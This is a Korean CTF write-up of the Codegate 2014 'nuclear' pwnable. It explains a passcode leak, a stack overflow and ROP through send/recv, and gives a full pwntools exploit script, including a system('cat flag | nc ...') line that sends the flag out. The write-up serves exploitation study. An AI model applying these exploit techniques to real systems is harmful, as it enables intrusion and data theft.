[Codegate 2014] nuclear

2018. 8. 5. 21:17

writeup까지 쓸 생각은 없었는데;


풀다보니까... 생각보다 시간을 많이 잡아먹고, 좀 유의해야할것도 있는 것 같아서 생각을 정리하는 김에 글로 써서 남긴다.


하... 대체 왜 이렇게 시간을 잡아먹은 건지 ㅡㅡ;


nuclear



nuclear: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=49e7c88b99cd6526e37d016c08e8e5cfeb526474, stripped

 



일단 주어진 바이너리는 32bit 이고, 보호기법은 NX가 걸려있다.


IDA로 보면 소켓 프로그램인 것을 알 수있다.



socket() 함수로 소켓을 생성한다. 이 때 값은 파일/소켓 디스크립터로 반환되고 이 값은 3이다.

그 후 bind() 함수로 소켓에 IP주소와 포트번호를 지정해준다. 여기서는 localhost로 1129포트로 지정하였고, bind()함수는 성공하면 0, 실패하면 -1를 반환한다.



그 후 accept() 함수로 클라이언트의 접속 요청을 받고, 클라이언트와 통신하는 전용 소켓을 생성한다.

이 함수 역시 반환값으로 소켓/파일 디스크립터를 반환하고, 이 값은 4이다.


그럼 먼저 저 바이너리를 실행하고, 로컬포트 1129로 접속해보자.



Nuclear Control System 이라 뜨게 된다.

다시 Ida로 돌아와 살펴보자. 저 부분을 실행하는 함수이름을 Main_8048c65라고 지정하였다.

소켓을 생성하고, 그 값을 인자로 넘겨 실행하게 된다.


이제 우리는 소켓디스크립터값을 이용해 이 프로그램과 통신하게 된다.



일단 변수들은 위와 같이 선언 할당되어있다.

위에는 조금 짤렸는데 passcode라는 변수에 THIS_IS_NOT_KEY_JUST_PASSCODE의 값을 읽어와서 저장해준다.

사용할 수 있는 명령어로는 "quit", "target", "launch"가 있는데


여기서 launch 함수를 보면 사용자로부터 buffer에 입력을 받아 passcode값과 비교한 후,

그 값이 일치하면 pthread_create로 sub_8048B9C함수를 실행해준다.



해당 함수는 카운트 다운 함수인데, 100초를 세고, 100초가 다 세어지면 핵폭팔이 일어나는 것을 볼 수 있다.





중요한 것은 핵폭팔이 일어나는것이 아니라, 저 함수를 실행할 때

pthread로 실행하게 되는 start_routine함수이다.




이 함수를 보면 buf는 bp에서 0x20c만큼 떨어져있지만 사용자로부터 0x512만큼의 값을 받으므로 overflow가 발생한다.

여기서 이제 함수의 흐름을 조작할 수 있다.


그런데 위에서는 필자가 passcode를 알고 있으므로, launch를 실행시킬수 있었지만, 원래는 그 값을 알 수 가 없다.



passcode의 값은 buffer에서 0x208만큼 떨어져있고, buffer에는 0x200만큼만 입력이 된다.

그리고 그 사이에 v4와 v5의 값이 들어가 있는데, 만약 buffer에 NULL바이트 없이 0x200만큼 꽉 차있고

v4와 v5에도 NULL바이트가 없다면, 아래 루틴에서 buffer를 passcode까지 이어서 출력하게 될 것이다.



그러므로 우리는 target 명령어를 통해서 v4와 v5값을 float값으로 채워서 NULL바이트를 없애주고, command입력시 "A"*0x200을 입력하면

passcode값이 leak 될 것이다.





자 그럼 이제, exploit을 하면 된다.


passcode를 leak해서 launch를 실행하고, start_routine에 진입하여, 거기서 프로그램 실행흐름을 조작하면 된다.

처음에는 puts함수를 이용해 다른 함수의 주소를 leak하려하였지만, 소켓프로그램이기 때문에 소켓에 통신하고있는 사용자에게 leak된 주소가 출력되지않고, 서버에 출력되는 것을 알 수 있었다 ㅡㅡ; (이 부분때문에 삽질을 했다.)


주의해야할 점이다. send함수를 통해 소켓디스크립터로 leak한 것을 사용자에게 보내면 된다.

그렇게 함수 주소를 leak하고 offset을 통해 system함수의 주소를 알아내어 프로그램 흐름을 조작하면 된다.


여기서 system("/bin/sh")을 실행하였지만; 당연하게도 소켓프로그램인지라 사용자에게는 쉘이 띄워질리 없기때문에

리버스쉘이나 바인드쉘을 사용하여야한다. 여기선 flag만 가져오면 되기 때문에 system("cat flag | nc localhost 9999")와 같이 실행한다.


이렇게 프로그램 자체에서 소켓을 열고, 소켓디스크립터를 통해 통신을 하는 경우엔 system("/bin/sh")를 한다고 사용자에게 쉘이 떨어지는것이 아니니 주의하여야 할것같다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
 
#context.log_level = 'debug'
 
elf = ELF("./nuclear")
conn = remote("localhost"1129)
 
def sendCommand(cmd):
    conn.recvuntil("> ")
    conn.send(cmd)
    
def targetSet(Location):
    sendCommand("target")
    conn.recvuntil("---> ")
    conn.sendline(Location)
    
def Launch(passcode):
    sendCommand("launch")
    conn.recvuntil(": ")
    conn.sendline(passcode)
    
targetSet("5.5123/5.5123")
sendCommand("A"*0x200)
 
#leak
conn.recvuntil(" Unknown command : ")
conn.recv(0x208)
passcode = conn.recvline().strip()
 
log.info("passcode : " + passcode)
 
#Launch Nuclear
Launch(passcode)
 
send_plt = elf.symbols['send']
recv_plt = elf.symbols['recv']
recv_got = elf.got['recv']
send_got = elf.got['send']
 
start_routine = 0x8048B5B
pppr = 0x804917d
ppppr = 0x804917c
fd = 0x4
 
#bof
payload = "A"*0x200
payload += p32(fd)
payload += "B"*12
payload += p32(send_plt)
payload += p32(pppr)
payload += p32(fd)
payload += p32(recv_got)
payload += p32(4)
payload += p32(send_plt)
payload += p32(pppr)
payload += p32(fd)
payload += p32(send_got)
payload += p32(5)
payload += p32(start_routine)
payload += p32(0xdeadbeef)
payload += p32(fd)
 
conn.recvuntil("COUNT DOWN : 100")
conn.sendline(payload)
 
conn.recvuntil("We can't stop this action.. G00D Luck!\n")
recv_addr = conn.recv(4)
send_addr = conn.recv(4)
 
system_addr = u32(recv_addr)-0x18a5a0
 
log.info("recv_addr : 0x%x" % u32(recv_addr))
log.info("send_addr : 0x%x" % u32(send_addr))
 
payload = "A"*0x200
payload += p32(fd)
payload += "B"*12
payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(fd)
payload += p32(elf.bss())
payload += p32(50)
payload += p32(0)
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(elf.bss())
conn.recvuntil("COUNT DOWN : 99")
conn.sendline(payload)
 
conn.interactive()
cs





'Write-up > Pwnable' 카테고리의 다른 글

[WhiteHatWargame.vn] mini-game  (0) 2018.08.13
[WhiteHatWargame.vn] onechange  (0) 2018.08.13
[MeePwnCTF 2018] one_shot writeup  (0) 2018.07.26
[MeePwnCTF 2018] one_shot (대회 당시 삽질한 글)  (0) 2018.07.26
[RCTF 2017] Recho  (0) 2018.07.10

+ Recent posts